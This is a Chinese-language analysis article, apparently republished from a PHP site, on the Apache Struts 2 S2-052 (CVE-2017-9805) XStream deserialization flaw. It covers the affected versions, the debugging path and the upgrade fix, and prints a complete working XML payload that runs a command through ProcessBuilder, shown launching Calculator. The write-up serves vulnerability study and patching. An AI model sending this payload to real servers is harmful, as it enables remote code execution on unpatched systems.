2017 年9 月5 日,由國外安全研究組織lgtm.com 的安全研究人員發現的嚴重漏洞在Apache Struts 2官方發布,漏洞編號為CVE-2017-9805(S2 -052), 攻擊者可以傳入精心建構的xml數據,遠端指令執行。
Struts2 REST插件的XStream元件有反序列化漏洞,使用XStream元件對XML格式的封包進行反序列化操作時,未對資料內容進行有效驗證,有安全隱患,可由遠端指令執行。
利用條件:使用 REST 外掛程式並在受影響版本範圍內。
利用方式:攻擊者建立惡意資料包遠端利用。
影響版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
1)下載官方原始碼:
git clone https ://github.com/apache/Struts.git
2)切換到2.5.12分支:
git checkout STRUTS_2_5_12
3) 把來源碼包中src/apps/rest-showcase整個資料夾拷貝出來,新建一個專案
4)用IDEA或eclipse導入該maven專案
5) debug模式運行後就可以愉快的調試了
根據官方公告知道漏洞出現在XstreamHandler 類,在struts2-rest-plugin-2.5.12.jar 套件內。
於是查看該類,該類別中有一個toObject方法,其作用就是對xml內容進行反序列化。
先在此方法內打一個斷點,然後建構資料包
#傳送封包後,會跳到斷點處,此時,看到是上層呼叫棧中是ContentTypeInterceptor呼叫了該方法
ContentTypeInterceptor類別中intercept方法會根據傳入的Content-Type的值產生對應的對象,由於我們傳入的是application/xml,所以對應產生一個xml的處理對象XStreamHandler。
繼續f5,看到執行反序列化的函數unmarshal,在這個函數執行時沒有進行資料安全檢查,導致遠端命令執行。
接著進入unmarshal函數內,繼續往下調試,AbstractReflectionConverter會一步步解析我們提交的xml標籤和值,最終調用poc中代碼
在頁面http://localhost:8080//struts2-rest-showcase/orders/3/edit中點擊Submit,
##攔截HTTP請求並將請求體改為POC Payload,同時將Content-Type Header改為application/xml。
payload為:
<map> <entry> <jdk.nashorn.internal.objects.nativestring> <flags>0</flags> <value> <datahandler> <datasource> <is> <cipher> <initialized>false</initialized> <opmode>0</opmode> <serviceiterator> <iter> <iter></iter> <next> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirecterrorstream>false</redirecterrorstream> </next> </iter> <filter> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types></parameter-types> </method> <name>foo</name> </filter> <next>foo</next> </serviceiterator> <lock></lock> </cipher> <input> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </datasource> <transferflavors></transferflavors> </datahandler> <datalen>0</datalen> </value> </jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> </entry> <entry> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> </entry> </map>發送請求後,彈出計算器
Version 2.5.0 to 2.5.12升級到Struts 2.5.13版本
以上是Struts2-052漏洞範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!